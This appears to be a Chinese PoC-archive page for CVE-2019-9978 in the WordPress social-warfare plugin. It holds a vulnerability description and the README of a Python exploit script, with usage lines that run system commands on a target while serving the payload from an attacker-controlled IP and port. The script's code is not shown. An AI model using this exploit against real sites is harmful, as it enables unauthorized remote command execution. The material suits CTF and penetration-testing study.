关联漏洞
标题:
WordPress social-warfare插件跨站脚本漏洞
(CVE-2019-9978)
描述:WordPress是WordPress基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。social-warfare plugin是使用在其中的一个社交平台分享插件。 WordPress social-warfare插件3.5.3之前版本中存在跨站脚本漏洞。远程攻击者可借助‘swp_url’参数利用该漏洞注入恶意的JavaScript脚本。
描述
cve-2019-9978 PoC
介绍
# cve-2019-9978
This is a script that allows exploiting the CVE-2019-9978 vulnerability in a straightforward manner, intended for use in Capture The Flag (CTF) challenges or as a proof of concept for penetration testing.
## Prerequisites
- Python 3
- Requests library (Install with `pip install requests`)
## Usage
1. Clone or download this repository.
2. Open a terminal and navigate to the script's directory.
3. Run the script with the following options:
```shell
./cve-2019-9978.py -u http://target.com:9999 -c "your_system_command" -l your_ip:your_port
- `-u` or `--url`: Set the target URL to deliver the payload.
- `-c` or `--command`: Set the system command to run on the target system.
- `-l` or `--local`: Set the IP and port for the HTTP server (optional).
```
4. The script starts an HTTP server, sends the payload to the target, and displays the result in the terminal.
## Example
```shell
./cve-2019-9978.py -u http://target.com:9999 -c "id" -l 10.10.13.15:12345
```
## Disclaimer
This code is for educational and testing purposes only. Unauthorized use on systems without proper authorization is illegal and unethical. Use it responsibly.
文件快照
[4.0K] /data/pocs/9aaa995e9e0fc4c60e04cf6c07e3aeff82ce538b
├── [1.7K] cve-2019-9978.py
└── [1.1K] README.md
0 directories, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。